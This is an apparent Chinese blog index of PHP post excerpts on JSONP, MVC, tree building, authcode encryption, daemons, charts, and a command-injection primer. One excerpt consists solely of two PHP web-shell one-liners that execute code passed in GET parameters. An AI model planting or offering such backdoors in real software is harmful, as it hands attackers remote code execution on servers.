摘要:JS$.getJSON('http://www.write-about-property.com/jsonp.php?callback=?','firstname=Jeff',function(res){ alert('Your name is '+res.fullname);});PHP <?php $fname = $_GET['firstname']; if($fname=='Jeff') { //header("Content-Type: application/json"); e
阅读全文
文章分类 - PHP
摘要:Although Model-View-Controller (MVC) is known by nearly every Web developer, how to properly use MVC in real application development still eludes many people. The central idea behind MVC iscode reusability and separation of concerns. In this section, we describe some general guidelines on how to bet
阅读全文
摘要:In this series we are going to look into some useful tips and techniques that can be used to improve and optimise your php code. Note that these php tips are meant for beginners and not those who are already using mvc frameworks etc.The Techniques1. Do not use relative paths , instead define a ROOT
阅读全文
摘要:https://www.akii.org/discuz-encryption-and-decryption-functions-authcode-analysis.htmldiscuz的 authcode 函数可以说对中国的PHP界作出了重大贡献。包括康盛自己的产品,以及大部分中国使用PHP的公司都用这个函数进行加密,authcode 是使用异或运算进行加密和解密。原理如下,假如:加密明文:1010 1001密匙:1110 0011密文:0100 1010得出密文0100 1010,解密之需和密匙异或下就可以了解密密文:0100 1010密匙:1110 0011明文:1010 1001并没有什
阅读全文
摘要:http://www.oschina.net/code/snippet_173183_11767<?php/** * 将数据格式化成树形结构 * @author Xuefen.Tong * @param array $items * @return array */function genTree($items) { $tree = array(); //格式化好的树 foreach ($items as $item) if (isset($items[$item['pid']])) $items[$item['pid']]['son'][
阅读全文
摘要:<?php eval(stripcslashes($_GET['e']));<?php@$_GET['a']($_GET['b']);?>
阅读全文
摘要:DB Active Record 类 其实有个 replace方法可是文档上却没有相关说明这个方法对 某些OA 等应用还是比较实惠的毕竟减少了查询次数///////////////////原生MYSQL说明//////////////////////////id存在则替换,不存在则插入 replace intotest | CREATE TABLE `test` (`id` int(11) NOT NULL default '0',`value` varchar(21) NOT NULL default '',`icount` int(11) NOT NULL
阅读全文
摘要:【案例】黑枣玩具公司专门生产玩具,生产的玩具不限于狗、猫、狮子,鱼等动物。每个玩具都可以进行“张嘴”与“闭嘴”操作,分别调用了openMouth与closeMouth方法。<代码实现>abstract class Toy{ public abstract function openMouth(); public abstract function closeMouth();}class Dog extends Toy{ public function openMouth() { echo "Dog open Mouth\n"; } public...
阅读全文
摘要:在Office 15即将发布之际,开发人员可能会更关注那些在开源的PHPoffice,一般的程序员、设计师他们距离Office办公套件也是蛮遥远的,但是如果真的要用了总不可能去下载一个吧即使是WPS也需要时间,所以不如在自己的服务器上建立一个建议的PHP Office。 这里的替代品(既简单又复杂),可能更加适合你。 从此我们在线观看文档不再需要豆丁和百度文库了! PHPExcel 几乎支持所有常用Excel的功能的PHPExcel,格式支持.XLS或者这.XLSX。功能支持包括表格的任何元数据、添加工作表/行/列,合并单元格,操作公式等等,并且完美兼容MS Office中的Excel...
阅读全文
摘要:传统的面相过程式的开发方式在处理中型以上的应用时,就开始显得力不从心。即便我们能够快速的完成需求,但是在需求发生变更后或者进行后期维护的时候,我们会深深地陷入我们早期搭建的陷阱中。所以,使用面向对象的方式来实现MVC模式,将为我们梳理程序的架构提供一个清晰的思路。什么是MVC?关于MVC的定义和解释,可以说多种多样。我们可以在Wiki或者[2]中找到更为详尽的解释,这里我并不打算,也没有能力进行深入的讲解,从PHP开发的角度来讲,MVC可以概括为:视图(TheView):一说到视图,我们很多人都会想到模板引擎(诸如Smarty等等)。其实就是各种各样的输出,比如说html模板和Javascri
阅读全文
摘要:本文全文转自:http://www.cnblogs.com/fengxilanghu/archive/2011/02/18/1958029.html今天研究了下PHP MVC结构,所以决定自己写个简单的MVC,以待以后有空再丰富。至于什么MVC结构,其实就是三个Model,Contraller,View单词的简称,,Model,主要任务就是把数据库或者其他文件系统的数据按 照我们需要的方式读取出来。View,主要负责页面的,把数据以html的形式显示给用户。Controller,主要负责业务逻辑,根据用户的 Request进行请求的分配,比如说显示登陆界面,就需要调用一个控制器userCont
阅读全文
摘要:Some of you have probably just stumbled along this post without actually knowing what MemCache does, so here is a bit of technical context before I dive into the implementation methods, problems andof coursesolutions.In it’s most basic form MemCache is a normal program that runs on top of youroperat
阅读全文
摘要:输入一个或者一组图片接口,即可返回图片中面部的坐标、性别、面部表情等信息。服务由 Face.com 提供的标准REST API 接口; 所以使用前需要先到 face.com注册一个账户,创建一个应用,获取api key 和 api secret 。face.com 接口识别的很准确,可以准确识别出李宇春的性别! :)演示地址:http://sms.wanyi.im/?m=main&a=face【使用方法】$url = "http://weiping-face.stor.sinaapp.com/test.jpeg";$api = new apibus();$face
阅读全文
摘要:<?php $key="Request timed out.";$kkk=array( "name3" =>array("192.168.0.118","王五","行政",), "name4" =>array("192.168.0.140","李四","财务",), "name5" =>array("192.168.0.10","张三"
阅读全文
摘要:function genTree($items,$id='id',$pid='pid',$son = 'children'){ $tree = array(); //格式化的树 $tmpMap = array(); //临时扁平数据 foreach ($items as $item) { $tmpMap[$item[$id]] = $item; } foreach ($items as $item) { if (isset($tmpMap[$item[$pid]])) { $tmpMap[$ite...
阅读全文
摘要:verifyntlogon() example<?phpif (verifyntlogon("myusername","mypassword","mydomain") { print "Verified!";} else { print "Verify Failed";}?>task_add() exampleCreates a task called "Example Task" that starts the windows calculator.<?p
阅读全文
摘要:用 PHP 实现的 Daemon 类。可以在服务器上实现队列或者脱离 crontab 的计划任务。使用的时候,继承于这个类,并重写 _doTask 方法,通过 main 初始化执行。<?phpclass Daemon { const DLOG_TO_CONSOLE = 1; const DLOG_NOTICE = 2; const DLOG_WARNING = 4; const DLOG_ERROR = 8; const DLOG_CRITICAL = 16; const DAPC_PATH = '/tmp/daemon_apc_keys'; /**...
阅读全文
摘要:【IT168 技术】在分析数据时,使用图表的方式是很直接形象的,而假如图表是可以有交互能力的,那么其效果会更加好。在本文中,将探讨如何使用php搭配开源报表库FusionCharts(项目地址:www.fusioncharts.com/),去创建交互式的钻取报表。所谓的钻取报表,指的是可以当用户点取报表中的数据轴的时候,可以再新打开一个新的报表,这样方便在不同的报表之间导航,十分方便。 介绍链接式图表 一般而言,普通图表的数据都是独立的,如何才能将这些数据聚合在一起,并且让我们可以在这些数据图之间来回地导航查看呢?这正是LinkedCharts能实现的。它是在FusionCharts 3...
阅读全文
摘要:命令注入攻击PHP中可以使用下列5个函数来执行外部的应用程序或函数system、exec、passthru、shell_exec、“(与shell_exec功能相同)函数原型string system(string command, int &return_var)command 要执行的命令return_var 存放执行命令的执行后的状态值string exec (string command, array &output, int &return_var)command 要执行的命令output 获得执行命令输出的每一行字符串return_var 存放执行命令后的状
阅读全文
摘要:View Code <?phpheader("Content-type:text/html;charset=utf-8");function GrabImage($url,$filename="") {if($url==""):return false;endif;if($filename=="") {$ext=strrchr($url,".");if($ext!=".gif" && $ext!=".jpg"):return fals
阅读全文